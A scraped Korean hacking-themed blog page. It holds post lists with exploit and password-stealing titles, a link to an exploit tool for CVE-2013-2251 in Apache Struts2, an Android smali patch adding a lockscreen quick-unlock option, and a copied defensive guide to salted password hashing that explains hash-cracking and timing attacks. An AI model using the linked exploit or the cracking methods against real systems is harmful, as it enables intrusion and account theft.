'Hacking' 카테고리의 다른 글
wifi password cracker (0) | 2013.10.09 |
---|---|
Secure Coding (0) | 2013.09.21 |
CVE-2013-2251 Apache Struts2 Remote Shell Exploit (1) | 2013.07.19 |
unlock android password (0) | 2013.07.18 |
salted password hashing (0) | 2013.07.11 |
wifi password cracker (0) | 2013.10.09 |
---|---|
Secure Coding (0) | 2013.09.21 |
CVE-2013-2251 Apache Struts2 Remote Shell Exploit (1) | 2013.07.19 |
unlock android password (0) | 2013.07.18 |
salted password hashing (0) | 2013.07.11 |
Chinese Exploit Tool: http://www.blackxl.org/struts2-s2-016-exp-cve-2013-2251.html
Secure Coding (0) | 2013.09.21 |
---|---|
script (0) | 2013.07.24 |
unlock android password (0) | 2013.07.18 |
salted password hashing (0) | 2013.07.11 |
Stealing saved passwords from your friend’s laptop (0) | 2013.07.11 |
<string name="quick_unlock_title">Quick Unlock</string> <string name="quick_unlock_summary">Unlock as soon as correct pin is entered</string>
<?xml version="1.0" encoding="utf-8"?> <PreferenceScreen xmlns:android="http://schemas.android.com/apk/res/android"> <PreferenceScreen android:persistent="false" android:title="@string/unlock_set_unlock_launch_picker_title" android:key="unlock_set_or_change" android:summary="@string/unlock_set_unlock_mode_password" /> <SwitchPreferenceScreen android:title="@string/dualclock_settings_title" android:key="dualclock_settings" android:summary="@string/dualclock_settings_summary" android:fragment="com.android.settings.dualclock.DualClockSetting" /> <CheckBoxPreference android:title="@string/with_cicle_title" android:key="with_circle" android:summary="@string/with_cicle_summary" android:defaultValue="false" /> <PreferenceScreen android:title="@string/lock_screen_options" android:key="lock_screen_options" android:summary="@string/lock_screen_options_summary" android:fragment="com.android.settings.LockScreenSettings" /> <CheckBoxPreference android:title="@string/quick_note_title" android:key="quick_note" android:summary="@string/quick_note_summary" android:defaultValue="false" /> <ListPreference android:persistent="false" android:entries="@array/lock_after_timeout_entries" android:title="@string/lock_after_timeout" android:key="lock_after_timeout" android:summary="@string/lock_after_timeout_summary" android:entryValues="@array/lock_after_timeout_values" /> <CheckBoxPreference android:title="@string/lockpattern_settings_enable_power_button_instantly_locks" android:key="power_button_instantly_locks" /> <CheckBoxPreference android:title="@string/quick_unlock_title" android:key="quick_unlock" android:summary="@string/quick_unlock_summary" /> <PreferenceScreen android:title="@string/owner_info_settings_title" android:key="owner_info_settings" android:summary="@string/owner_info_settings_summary" android:fragment="com.android.settings.OwnerInfoSettings" /> </PreferenceScreen>
<?xml version="1.0" encoding="utf-8"?> <PreferenceScreen xmlns:android="http://schemas.android.com/apk/res/android"> <PreferenceScreen android:persistent="false" android:title="@string/unlock_set_unlock_launch_picker_title" android:key="unlock_set_or_change" android:summary="@string/unlock_set_unlock_mode_pin" /> <SwitchPreferenceScreen android:title="@string/dualclock_settings_title" android:key="dualclock_settings" android:summary="@string/dualclock_settings_summary" android:fragment="com.android.settings.dualclock.DualClockSetting" /> <CheckBoxPreference android:title="@string/with_cicle_title" android:key="with_circle" android:summary="@string/with_cicle_summary" android:defaultValue="false" /> <PreferenceScreen android:title="@string/lock_screen_options" android:key="lock_screen_options" android:summary="@string/lock_screen_options_summary" android:fragment="com.android.settings.LockScreenSettings" /> <CheckBoxPreference android:title="@string/quick_note_title" android:key="quick_note" android:summary="@string/quick_note_summary" android:defaultValue="false" /> <ListPreference android:persistent="false" android:entries="@array/lock_after_timeout_entries" android:title="@string/lock_after_timeout" android:key="lock_after_timeout" android:summary="@string/lock_after_timeout_summary" android:entryValues="@array/lock_after_timeout_values" /> <CheckBoxPreference android:title="@string/lockpattern_settings_enable_power_button_instantly_locks" android:key="power_button_instantly_locks" /> <CheckBoxPreference android:title="@string/lockpattern_settings_enable_tactile_feedback_title" android:key="unlock_tactile_feedback" /> <CheckBoxPreference android:title="@string/quick_unlock_title" android:key="quick_unlock" android:summary="@string/quick_unlock_summary" /> <PreferenceScreen android:title="@string/owner_info_settings_title" android:key="owner_info_settings" android:summary="@string/owner_info_settings_summary" android:fragment="com.android.settings.OwnerInfoSettings" /> </PreferenceScreen>
.field private mPowerButtonInstantlyLocks:Landroid/preference/CheckBoxPreference; .field private mQuicknote:Landroid/preference/CheckBoxPreference; .field private mQuickUnlock:Landroid/preference/CheckBoxPreference; .field private mSignatureVerificationLevel:Landroid/preference/ListPreference; .field private mTactileFeedback:Landroid/preference/CheckBoxPreference;
:cond_5 const-string v4, "quick_note" invoke-virtual {v3, v4}, Landroid/preference/PreferenceScreen;->findPreference(Ljava/lang/CharSequence;)Landroid/preference/Preference; move-result-object v4 check-cast v4, Landroid/preference/CheckBoxPreference; iput-object v4, p0, Lcom/android/settings/LockscreenMenuSettings;->mQuicknote:Landroid/preference/CheckBoxPreference; .line 203 iget-object v4, p0, Lcom/android/settings/LockscreenMenuSettings;->mQuicknote:Landroid/preference/CheckBoxPreference; if-eqz v4, :cond_6 const v4, 0x7f07004f if-eq v2, v4, :cond_6 .line 205 iget-object v4, p0, Lcom/android/settings/LockscreenMenuSettings;->mQuicknote:Landroid/preference/CheckBoxPreference; invoke-virtual {v3, v4}, Landroid/preference/PreferenceScreen;->removePreference(Landroid/preference/Preference;)Z .line 208 :cond_6 const-string v4, "quick_unlock" invoke-virtual {v3, v4}, Landroid/preference/PreferenceScreen;->findPreference(Ljava/lang/CharSequence;)Landroid/preference/Preference; move-result-object v4 check-cast v4, Landroid/preference/CheckBoxPreference; iput-object v4, p0, Lcom/android/settings/LockscreenMenuSettings;->mQuickUnlock:Landroid/preference/CheckBoxPreference; .line 203 iget-object v4, p0, Lcom/android/settings/LockscreenMenuSettings;->mQuickUnlock:Landroid/preference/CheckBoxPreference; if-eqz v4, :cond_next const v4, 0x7f070051 # type="xml" name="security_settings_password" if-eq v2, v4, :cond_next const v4, 0x7f070054 # type="xml" name="security_settings_pin" if-eq v2, v4, :cond_next .line 205 iget-object v4, p0, Lcom/android/settings/LockscreenMenuSettings;->mQuickUnlock:Landroid/preference/CheckBoxPreference; invoke-virtual {v3, v4}, Landroid/preference/PreferenceScreen;->removePreference(Landroid/preference/Preference;)Z :cond_next const-string v4, "visiblesignature" invoke-virtual {v3, v4}, Landroid/preference/PreferenceScreen;->findPreference(Ljava/lang/CharSequence;)Landroid/preference/Preference; move-result-object v4 check-cast v4, Landroid/preference/CheckBoxPreference; iput-object v4, p0, Lcom/android/settings/LockscreenMenuSettings;->mVisibleSignature:Landroid/preference/CheckBoxPreference;
:cond_8 const-string v5, "quick_note" invoke-virtual {v5, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v5 if-eqz v5, :cond_a .line 503 invoke-virtual {p0}, Lcom/android/settings/LockscreenMenuSettings;->getContentResolver()Landroid/content/ContentResolver; move-result-object v5 const-string v6, "lock_screen_quick_note" iget-object v7, p0, Lcom/android/settings/LockscreenMenuSettings;->mQuicknote:Landroid/preference/CheckBoxPreference; invoke-virtual {v7}, Landroid/preference/CheckBoxPreference;->isChecked()Z move-result v7 if-eqz v7, :cond_9 move v3, v4 :cond_9 invoke-static {v5, v6, v3}, Landroid/provider/Settings$Secure;->putInt(Landroid/content/ContentResolver;Ljava/lang/String;I)Z goto/16 :goto_0 .line 504 :cond_a const-string v5, "quick_unlock" invoke-virtual {v5, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v5 if-eqz v5, :cond_next .line 503 invoke-virtual {p0}, Lcom/android/settings/LockscreenMenuSettings;->getContentResolver()Landroid/content/ContentResolver; move-result-object v5 const-string v6, "quick_unlock" iget-object v7, p0, Lcom/android/settings/LockscreenMenuSettings;->mQuickUnlock:Landroid/preference/CheckBoxPreference; invoke-virtual {v7}, Landroid/preference/CheckBoxPreference;->isChecked()Z move-result v7 if-eqz v7, :cond_quick move v3, v4 :cond_quick invoke-static {v5, v6, v3}, Landroid/provider/Settings$System;->putInt(Landroid/content/ContentResolver;Ljava/lang/String;I)Z goto/16 :goto_0 .line 504 :cond_next const-string v3, "visiblesignature" invoke-virtual {v3, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v3 if-eqz v3, :cond_b
:cond_2 iget-object v1, p0, Lcom/android/settings/LockscreenMenuSettings;->mQuicknote:Landroid/preference/CheckBoxPreference; if-eqz v1, :cond_3 .line 438 iget-object v1, p0, Lcom/android/settings/LockscreenMenuSettings;->mQuicknote:Landroid/preference/CheckBoxPreference; invoke-virtual {p0}, Lcom/android/settings/LockscreenMenuSettings;->getContentResolver()Landroid/content/ContentResolver; move-result-object v4 const-string v5, "lock_screen_quick_note" invoke-static {v4, v5, v3}, Landroid/provider/Settings$Secure;->getInt(Landroid/content/ContentResolver;Ljava/lang/String;I)I move-result v4 if-eqz v4, :cond_8 :goto_1 invoke-virtual {v1, v2}, Landroid/preference/CheckBoxPreference;->setChecked(Z)V .line 440 :cond_3 iget-object v1, p0, Lcom/android/settings/LockscreenMenuSettings;->mQuickUnlock:Landroid/preference/CheckBoxPreference; if-eqz v1, :cond_next .line 438 iget-object v1, p0, Lcom/android/settings/LockscreenMenuSettings;->mQuickUnlock:Landroid/preference/CheckBoxPreference; invoke-virtual {p0}, Lcom/android/settings/LockscreenMenuSettings;->getContentResolver()Landroid/content/ContentResolver; move-result-object v4 const-string v5, "quick_unlock" invoke-static {v4, v5, v3}, Landroid/provider/Settings$System;->getInt(Landroid/content/ContentResolver;Ljava/lang/String;I)I move-result v4 if-eqz v4, :cond_quick :goto_quick invoke-virtual {v1, v2}, Landroid/preference/CheckBoxPreference;->setChecked(Z)V .line 440 :cond_next iget-object v1, p0, Lcom/android/settings/LockscreenMenuSettings;->mVisibleSignature:Landroid/preference/CheckBoxPreference; if-eqz v1, :cond_4 .line 441 iget-object v1, p0, Lcom/android/settings/LockscreenMenuSettings;->mVisibleSignature:Landroid/preference/CheckBoxPreference; invoke-virtual {v0}, Lcom/android/internal/widget/LockPatternUtils;->isVisibleSignatureEnabled()Z move-result v2 invoke-virtual {v1, v2}, Landroid/preference/CheckBoxPreference;->setChecked(Z)V
:cond_7 move v1, v3 .line 434 goto :goto_0 :cond_8 move v2, v3 .line 438 goto :goto_1 :cond_quick move v2, v3 goto :goto_quick .end method
script (0) | 2013.07.24 |
---|---|
CVE-2013-2251 Apache Struts2 Remote Shell Exploit (1) | 2013.07.19 |
salted password hashing (0) | 2013.07.11 |
Stealing saved passwords from your friend’s laptop (0) | 2013.07.11 |
Cisco VoIP Hijacking (0) | 2013.06.04 |
If you're a web developer, you've probably had to make a user account system. The most important aspect of a user account system is how user passwords are protected. User account databases are hacked frequently, so you absolutely must do something to protect your users' passwords if your website is ever breached. The best way to protect passwords is to employ salted password hashing. This page will explain how to do it properly.
There are a lot of conflicting ideas and misconceptions on how to do password hashing properly, probably due to the abundance of misinformation on the web. Password hashing is one of those things that's so simple, but yet so many people get wrong. With this page, I hope to explain not only the correct way to do it, but why it should be done that way.
You may use the following links to jump to the different sections of this page.
1. What is password hashing? | 2. How Hashes are Cracked | 3. Adding Salt |
4. Ineffective Hashing Methods | 5. How to hash properly | 6. Frequently Asked Questions |
There is public domain password hashing source code at the bottom of this page:
PHP Source Code | Java Source Code | ASP.NET (C#) Source Code | Ruby (on Rails) Source Code |
Hash algorithms are one way functions. They turn any amount of data into a fixed-length "fingerprint" that cannot be reversed. They also have the property that if the input changes by even a tiny bit, the resulting hash is completely different (see the example above). This is great for protecting passwords, because we want to store passwords in an encrypted form that's impossible to decrypt, but at the same time, we need to be able to verify that a user's password is correct.
The general workflow for account registration and authentication in a hash-based account system is as follows:
In step 4, never tell the user if it was the username or password they got wrong. Always display a generic message like "Invalid username or password." This prevents attackers from enumerating valid usernames without knowing their passwords.
It should be noted that the hash functions used to protect passwords are not the same as the hash functions you may have seen in a data structures course. The hash functions used to implement data structures such as hash tables are designed to be fast, not secure. Only cryptographic hash functions may be used to implement password hashing. Hash functions like SHA256, SHA512, RipeMD, and WHIRLPOOL are cryptographic hash functions.
It is easy to think that all you have to do is run the password through a cryptographic hash function and your users' passwords will be secure. This is far from the truth. There are many ways to recover passwords from plain hashes very quickly. There are several easy-to-implement techniques that make these "attacks" much less effective. To motivate the need for these techniques, consider this very website. On the front page, you can submit a list of hashes to be cracked, and receive results in less than a second. Clearly, simply hashing the password does not meet our needs for security.
The next section will discuss some of the common attacks used to crack plain password hashes.
Trying apple : failed Trying blueberry : failed Trying justinbeiber : failed Trying s3cr3t : success! |
Trying aaaa : failed Trying aaab : failed Trying aaac : failed Trying acdc : success! |
The simplest way to crack a hash is to try to guess the password, hashing each guess, and checking if the guess's hash equals the hash being cracked. If the hashes are equal, the guess is the password. The two most common ways of guessing passwords are dictionary attacks and brute-force attacks.
A dictionary attack uses a file containing words, phrases, common passwords, and other strings that are likely to be used as a password. Each word in the file is hashed, and its hash is compared to the password hash. If they match, that word is the password. These dictionary files are constructed by extracting words from large bodies of text, and even from real databases of passwords. Further processing is often applied to dictionary files, such as replacing words with their "leet speak" equivalents ("hello" becomes "h3110"), to make them more effective.
A brute-force attack tries every possible combination of characters up to a given length. These attacks are very computationally expensive, and are usually the least efficient in terms of hashes cracked per processor time, but they will always eventually find the password. Passwords should be long enough that searching through all possible character strings to find it will take too long to be worthwhile.
There is no way to prevent dictionary attacks or brute force attacks. They can be made less effective, but there isn't a way to prevent them altogether. If your password hashing system is secure, the only way to crack the hashes will be to run a dictionary or brute-force attack on each hash.
Lookup tables are an extremely effective method for cracking many hashes of the same type very quickly. The general idea is to pre-compute the hashes of the passwords in a password dictionary and store them, and their corresponding password, in a lookup table data structure. A good implementation of a lookup table can process hundreds of hash lookups per second, even when they contain many billions of hashes.
If you want a better idea of how fast lookup tables can be, try cracking the following sha256 hashes with CrackStation's free hash cracker.
This attack allows an attacker to apply a dictionary or brute-force attack to many hashes at the same time, without having to pre-compute a lookup table.
First, the attacker creates a lookup table that maps each password hash from the compromised user account database to a list of users who had that hash. The attacker then hashes each password guess and uses the lookup table to get a list of users whose password was the attacker's guess. This attack is especially effective because it is common for many users to have the same password.
Rainbow tables are a time-memory trade-off technique. They are like lookup tables, except that they sacrifice hash cracking speed to make the lookup tables smaller. Because they are smaller, the solutions to more hashes can be stored in the same amount of space, making them more effective. Rainbow tables that can crack any md5 hash of a password up to 8 characters long exist.
Next, we'll look at a technique called salting, which makes it impossible to use lookup tables and rainbow tables to crack a hash.
Lookup tables and rainbow tables only work because each password is hashed the exact same way. If two users have the same password, they'll have the same password hashes. We can prevent these attacks by randomizing each hash, so that when the same password is hashed twice, the hashes are not the same.
We can randomize the hashes by appending or prepending a random string, called asalt, to the password before hashing. As shown in the example above, this makes the same password hash into a completely different string every time. To check if a password is correct, we need the salt, so it is usually stored in the user account database along with the hash, or as part of the hash string itself.
The salt does not need to be secret. Just by randomizing the hashes, lookup tables, reverse lookup tables, and rainbow tables become ineffective. An attacker won't know in advance what the salt will be, so they can't pre-compute a lookup table or rainbow table. If each user's password is hashed with a different salt, the reverse lookup table attack won't work either.
In the next section, we'll look at how salt is commonly implemented incorrectly.
The most common salt implementation errors are reusing the same salt in multiple hashes, or using a salt that is too short.
A common mistake is to use the same salt in each hash. Either the salt is hard-coded into the program, or is generated randomly once. This is ineffective because if two users have the same password, they'll still have the same hash. An attacker can still use a reverse lookup table attack to run a dictionary attack on every hash at the same time. They just have to apply the salt to each password guess before they hash it. If the salt is hard-coded into a popular product, lookup tables and rainbow tables can be built for that salt, to make it easier to crack hashes generated by the product.
A new random salt must be generated each time a user creates an account or changes their password.
If the salt is too short, an attacker can build a lookup table for every possible salt. For example, if the salt is only three ASCII characters, there are only 95x95x95 = 857,375 possible salts. That may seem like a lot, but if each lookup table contains only 1MB of the most common passwords, collectively they will be only 837GB, which is not a lot considering 1000GB hard drives can be bought for under $100 today.
For the same reason, the username shouldn't be used as a salt. Usernames may be unique to a single service, but they are predictable and often reused for accounts on other services. An attacker can build lookup tables for common usernames and use them to crack username-salted hashes.
To make it impossible for an attacker to create a lookup table for every possible salt, the salt must be long. A good rule of thumb is to use a salt that is the same size as the output of the hash function. For example, the output of SHA256 is 256 bits (32 bytes), so the salt should be at least 32 random bytes.
This section covers another common password hashing misconception: wacky combinations of hash algorithms. It's easy to get carried away and try to combine different hash functions, hoping that the result will be more secure. In practice, though, there is very little benefit to doing it. All it does is create interoperability problems, and can sometimes even make the hashes less secure. Never try to invent your own crypto, always use a standard that has been designed by experts. Some will argue that using multiple hash functions makes the process of computing the hash slower, so cracking is slower, but there's a better way to make the cracking process slower as we'll see later.
Here are some examples of poor wacky hash functions I've seen suggested in forums on the internet.
Do not use any of these.
Note: This section has proven to be controversial. I've received a number of emails arguing that wacky hash functions are a good thing, because it's better if the attacker doesn't know which hash function is in use, it's less likely for an attacker to have pre-computed a rainbow table for the wacky hash function, and it takes longer to compute the hash function.
An attacker cannot attack a hash when he doesn't know the algorithm, but note Kerckhoffs's principle, that the attacker will usually have access to the source code (especially if it's free or open source software), and that given a few password-hash pairs from the target system, it is not difficult to reverse engineer the algorithm. It does take longer to compute wacky hash functions, but only by a small constant factor. It's better to use an iterated algorithm that's designed to be extremely hard to parallelize (these are discussed below). And, properly salting the hash solves the rainbow table problem.
If you really want to use a standardized "wacky" hash function like HMAC, then it's OK. But if your reason for doing so is to make the hash computation slower, read the section below about key stretching first.
Compare these minor benefits to the risks of accidentally implementing a completely insecure hash function and the interoperability problems wacky hashes create. It's clearly best to use a standard and well-tested algorithm.
Because hash functions map arbitrary amounts of data to fixed-length strings, there must be some inputs that hash into the same string. Cryptographic hash functions are designed to make these collisions incredibly difficult to find. From time to time, cryptographers find "attacks" on hash functions that make finding collisions easier. A recent example is the MD5 hash function, for which collisions have actually been found.
Collision attacks are a sign that it may be more likely for a string other than the user's password to have the same hash. However, finding collisions in even a weak hash function like MD5 requires a lot of dedicated computing power, so it is very unlikely that these collisions will happen "by accident" in practice. A password hashed using MD5 and salt is, for all practical purposes, just as secure as if it were hashed with SHA256 and salt. Nevertheless, it is a good idea to use a more secure hash function like SHA256, SHA512, RipeMD, or WHIRLPOOL if possible.
This section describes exactly how passwords should be hashed. The first subsection covers the basics—everything that is absolutely necessary. The following subsections explain how the basics can be augmented to make the hashes even harder to crack.
We've seen how malicious hackers can crack plain hashes very quickly using lookup tables and rainbow tables. We've learned that randomizing the hashing using salt is the solution to the problem. But how do we generate the salt, and how do we apply it to the password?
Salt should be generated using a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG). CSPRNGs are very different than ordinary pseudo-random number generators, like the "C" language'srand() function. As the name suggests, CSPRNGs are designed to be cryptographically secure, meaning they provide a high level of randomness and are completely unpredictable. We don't want our salts to be predictable, so we must use a CSPRNG. The following table lists some CSPRNGs that exist for some popular programming platforms.
Platform | CSPRNG |
---|---|
PHP | mcrypt_create_iv, openssl_random_pseudo_bytes |
Java | java.security.SecureRandom |
Dot NET (C#, VB) | System.Security.Cryptography.RNGCryptoServiceProvider |
Ruby | SecureRandom |
Python | os.urandom |
Perl | Math::Random::Secure |
C/C++ (Windows API) | CryptGenRandom |
Any language on GNU/Linux or Unix | Read from /dev/random or /dev/urandom |
The salt needs to be unique per-user per-password. Every time a user creates an account or changes their password, the password should be hashed using a new random salt. Never reuse a salt. The salt also needs to be long, so that there are many possible salts. As a rule of thumb, make your salt is at least as long as the hash function's output. The salt should be stored in the user account table alongside the hash.
At the bottom of this page, there are implementations of salted password hashing inPHP, C#,Java, and Ruby.
If you are writing a web application, you might wonder where to hash. Should the password be hashed in the user's browser with JavaScript, or should it be sent to the server "in the clear" and hashed there?
Even if you are hashing the user's passwords in JavaScript, you still have to hash the hashes on the server. Consider a website that hashes users' passwords in the user's browser without hashing the hashes on the server. To authenticate a user, this website will accept a hash from the browser and check if that hash exactly matches the one in the database. This seems more secure than just hashing on the server, since the users' passwords are never sent to the server, but it's not.
The problem is that the client-side hash logically becomes the user's password. All the user needs to do to authenticate is tell the server the hash of their password. If a bad guy got a user's hash they could use it to authenticate to the server, without knowing the user's password! So, if the bad guy somehow steals the database of hashes from this hypothetical website, they'll have immediate access to everyone's accounts without having to guess any passwords.
This isn't to say that you shouldn't hash in the browser, but if you do, you absolutely have to hash on the server too. Hashing in the browser is certainly a good idea, but consider the following points for your implementation:
Client-side password hashing is not a substitute for HTTPS (SSL/TLS). If the connection between the browser and the server is insecure, a man-in-the-middle can modify the JavaScript code as it is downloaded to remove the hashing functionality and get the user's password.
Some web browsers don't support JavaScript, and some users disable JavaScript in their browser. So for maximum compatibility, your app should detect whether or not the browser supports JavaScript and emulate the client-side hash on the server if it doesn't.
You need to salt the client-side hashes too. The obvious solution is to make the client-side script ask the server for the user's salt. Don't do that, because it lets the bad guys check if a username is valid without knowing the password. Since you're hashing and salting (with a good salt) on the server too, it's OK to use the username (or email) concatenated with a site-specific string (e.g. domain name) as the client-side salt.
Salt ensures that attackers can't use specialized attacks like lookup tables and rainbow tables to crack large collections of hashes quickly, but it doesn't prevent them from running dictionary or brute-force attacks on each hash individually. High-end graphics cards (GPUs) and custom hardware can compute billions of hashes per second, so these attacks are still very effective. To make these attacks less effective, we can use a technique known as key stretching.
The idea is to make the hash function very slow, so that even with a fast GPU or custom hardware, dictionary and brute-force attacks are too slow to be worthwhile. The goal is to make the hash function slow enough to impede attacks, but still fast enough to not cause a noticeable delay for the user.
Key stretching is implemented using a special type of CPU-intensive hash function. Don't try to invent your own–simply iteratively hashing the hash of the password isn't enough as it can be parallelized in hardware and executed as fast as a normal hash. Use a standard algorithm like PBKDF2 or bcrypt. You can find a PHP implementation of PBKDF2 here.
These algorithms take a security factor or iteration count as an argument. This value determines how slow the hash function will be. For desktop software or smartphone apps, the best way to choose this parameter is to run a short benchmark on the device to find the value that makes the hash take about half a second. This way, your program can be as secure as possible without affecting the user experience.
If you use a key stretching hash in a web application, be aware that you will need extra computational resources to process large volumes of authentication requests, and that key stretching may make it easier to run a Denial of Service (DoS) attack on your website. I still recommend using key stretching, but with a lower iteration count. You should calculate the iteration count based on your computational resources and the expected maximum authentication request rate. The denial of service threat can be eliminated by making the user solve a CAPTCHA every time they log in. Always design your system so that the iteration count can be increased or decreased in the future.
If you are worried about the computational burden, but still want to use key stretching in a web application, consider running the key stretching algorithm in the user's browser with JavaScript. The Stanford JavaScript Crypto Library includes PBKDF2. The iteration count should be set low enough that the system is usable with slower clients like mobile devices, and the system should fall back to server-side computation if the user's browser doesn't support JavaScript. Client-side key stretching does not remove the need for server-side hashing. You must hash the hash generated by the client the same way you would hash a normal password.
As long as an attacker can use a hash to check whether a password guess is right or wrong, they can run a dictionary or brute-force attack on the hash. The next step is to add a secret key to the hash so that only someone who knows the key can use the hash to validate a password. This can be accomplished two ways. Either the hash can be encrypted using a cipher like AES, or the secret key can be included in the hash using a keyed hash algorithm like HMAC.
This is not as easy as it sounds. The key has to be kept secret from an attacker even in the event of a breach. If an attacker gains full access to the system, they'll be able to steal the key no matter where it is stored. The key must be stored in an external system, such as a physically separate server dedicated to password validation, or a special hardware device attached to the server such as the YubiHSM.
I highly recommend this approach for any large scale (more than 100,000 users) service. I consider it necessary for any service hosting more than 1,000,000 user accounts.
If you can't afford multiple dedicated servers or special hardware devices, you can still get some of the benefits of keyed hashes on a standard web server. Most databases are breached using SQL Injection Attacks, which, in most cases, don't give attackers access to the local filesystem (disable local filesystem access in your SQL server if it has this feature). If you generate a random key and store it in a file that isn't accessible from the web, and include it into the salted hashes, then the hashes won't be vulnerable if your database is breached using a simple SQL injection attack. Don't hard-code a key into the source code, generate it randomly when the application is installed. This isn't as secure as using a separate system to do the password hashing, because if there are SQL injection vulnerabilities in a web application, there are probably other types, such as Local File Inclusion, that an attacker could use to read the secret key file. But, it's better than nothing.
Please note that keyed hashes do not remove the need for salt. Clever attackers will eventually find ways to compromise the keys, so it is important that hashes are still protected by salt and key stretching.
Password hashing protects passwords in the event of a security breach. It does not make the application as a whole more secure. Much more must be done to prevent the password hashes (and other user data) from being stolen in the first place.
Even experienced developers must be educated in security in order to write secure applications. A great resource for learning about web application vulnerabilities isThe Open Web Application Security Project (OWASP). A good introduction is theOWASP Top Ten Vulnerability List. Unless you understand all the vulnerabilities on the list, do not attempt to write a web application that deals with sensitive data. It is the employer's responsibility to ensure all developers are adequately trained in secure application development.
Having a third party "penetration test" your application is a good idea. Even the best programmers make mistakes, so it always makes sense to have a security expert review the code for potential vulnerabilities. Find a trustworthy organization (or hire staff) to review your code on a regular basis. The security review process should begin early in an application's life and continue throughout its development.
It is also important to monitor your website to detect a breach if one does occur. I recommend hiring at least one person whose full time job is detecting and responding to security breaches. If a breach goes undetected, the attacker can make your website infect visitors with malware, so it is extremely important that breaches are detected and responded to promptly.
DO use:
DO NOT use:
Even though there are no cryptographic attacks on MD5 or SHA1 that make their hashes easier to crack, they are old and are widely considered (somewhat incorrectly) to be inadequate for password storage. So I don't recommend using them. An exception to this rule is PBKDF2, which is frequently implemented using SHA1 as the underlying hash function.
It is my personal opinion that all password reset mechanisms in widespread use today are insecure. If you have high security requirements, such as an encryption service would, do not let the user reset their password.
Most websites use an email loop to authenticate users who have forgotten their password. To do this, generate a random single-use token that is strongly tied to the account. Include it in a password reset link sent to the user's email address. When the user clicks a password reset link containing a valid token, prompt them for a new password. Be sure that the token is strongly tied to the user account so that an attacker can't use a token sent to his own email address to reset a different user's password.
The token must be set to expire in 15 minutes or after it is used, whichever comes first. It is also a good idea to expire any existing password tokens when the user logs in (they remembered their password) or requests another reset token. If a token doesn't expire, it can be forever used to break into the user's account. Email (SMTP) is a plain-text protocol, and there may be malicious routers on the internet recording email traffic. And, a user's email account (including the reset link) may be compromised long after their password has been changed. Making the token expire as soon as possible reduces the user's exposure to these attacks.
Attackers will be able to modify the tokens, so don't store the user account information or timeout information in them. They should be an unpredictable random binary blob used only to identify a record in a database table.
Never send the user a new password over email.
Your first priority is to determine how the system was compromised and patch the vulnerability the attacker used to get in. If you do not have experience responding to breaches, I highly recommend hiring a third-party security firm.
It may be tempting to cover up the breach and hope nobody notices. However, trying to cover up a breach makes you look worse, because you're putting your users at further risk by not informing them that their passwords and other personal information may be compromised. You must inform your users as soon as possible—even if you don't yet fully understand what happened. Put a notice on the front page of your website that links to a page with more detailed information, and send a notice to each user by email if possible.
Explain to your users exactly how their passwords were protected—hopefully hashed with salt—and that even though they were protected with a salted hash, a malicious hacker can still run dictionary and brute force attacks on the hashes. Malicious hackers will use any passwords they find to try to login to a user's account on a different website, hoping they used the same password on both websites. Inform your users of this risk and recommend that they change their password on any website or service where they used a similar password. Force them to change their password for your service the next time they log in. Most users will try to "change" their password to the original password to get around the forced change quickly. Use the current password hash to ensure that they cannot do this.
It is likely, even with salted slow hashes, that an attacker will be able to crack some of the weak passwords very quickly. To reduce the attacker's window of opportunity to use these passwords, you should require, in addition to the current password, an email loop for authentication until the user has changed their password. See the previous question, "How should I allow users to reset their password when they forget it?" for tips on implementing email loop authentication.
Also tell your users what kind of personal information was stored on the website. If your database includes credit card numbers, you should instruct your users to look over their recent and future bills closely and cancel their credit card.
If your service doesn't have strict security requirements, then don't limit your users. I recommend showing users information about the strength of their password as they type it, letting them decide how secure they want their password to be. If you have special security needs, enforce a minimum length of 12 characters and require at least two letters, two digits, and two symbols.
Do not force your users to change their password more often than once every six months, as doing so creates "user fatigue" and makes users less likely to choose good passwords. Instead, train users to change their password whenever they feel it has been compromised, and to never tell their password to anyone. If it is a business setting, encourage employees to use paid time to memorize and practice their password.
Yes, but if someone has accesss to your database, they probably already have access to everything on your server, so they wouldn't need to login to your account to get what they want. The purpose of password hashing (in the context of a website) is not to protect the website from being breached, but to protect the passwords if a breach does occur.
You can prevent hashes from being replaced during a SQL injection attack by connecting to the database with two users with different permissions. One for the 'create account' code and one for the 'login' code. The 'create account' code should be able to read and write to the user table, but the 'login' code should only be able to read.
Hash functions like MD5, SHA1, and SHA2 use the Merkle–Damgård construction, which makes them vulnerable to what are known as length extension attacks. This means that given a hash H(X), an attacker can find the value of H(pad(X) + Y), for any other string Y, without knowing X. pad(X) is the padding function used by the hash.
This means that given a hash H(key + message), an attacker can compute H(pad(key + message) + extension), without knowing the key. If the hash was being used as a message authentication code, using the key to prevent an attacker from being able to modify the message and replace it with a different valid hash, the system has failed, since the attacker now has a valid hash of message + extension.
It is not clear how an attacker could use this attack to crack a password hash quicker. However, because of the attack, it is considered bad practice to use a plain hash function for keyed hashing. A clever cryptographer may one day come up with a clever way to use these attacks to make cracking faster, so use HMAC.
It doesn't matter, but pick one and stick with it for interoperability's sake. Having the salt come before the password seems to be more common.
Comparing the hashes in "length-constant" time ensures that an attacker cannot extract the hash of a password in an on-line system using a timing attack, then crack it off-line.
The standard way to check if two sequences of bytes (strings) are the same is to compare the first byte, then the second, then the third, and so on. As soon as you find a byte that isn't the same for both strings, you know they are different and can return a negative response immediately. If you make it through both strings without finding any bytes that differ, you know the strings are the same and can return a positive result. This means that comparing two strings can take a different amount of time depending on how much of the strings match.
For example, a standard comparison of the strings "xyzabc" and "abcxyz" would immediately see that the first character is different and wouldn't bother to check the rest of the string. On the other hand, when the strings "aaaaaaaaaaB" and "aaaaaaaaaaZ" are compared, the comparison algorithm scans through the block of "a" before it determins the strings are unequal.
Suppose an attacker wants to break into an on-line system that rate limits authentication attempts to one attempt per second. Also suppose the attacker knows all of the parameters to the password hash (salt, hash type, etc), except for the hash and (obviously) the password. If the attacker can get a precisise measurement of how long it takes the on-line system to compare the hash of the real password with the hash of a password the attacker provides, he can use the timing attack to extract part of the hash and crack it using an offline attack, bypassing the system's rate limiting.
First, the attacker finds 256 strings whose hashes begin with every possible byte. He sends each string to the on-line system, recording the amount of time it takes the system to respond. The string that takes the longest will be the one whose hash's first byte matches the real hash's first byte. The attacker now knows the first byte, and can continue the attack in a similar manner on the second byte, then the third, and so on. Once the attacker knows enough of the hash, he can use his own hardware to crack it, without being rate limited by the system.
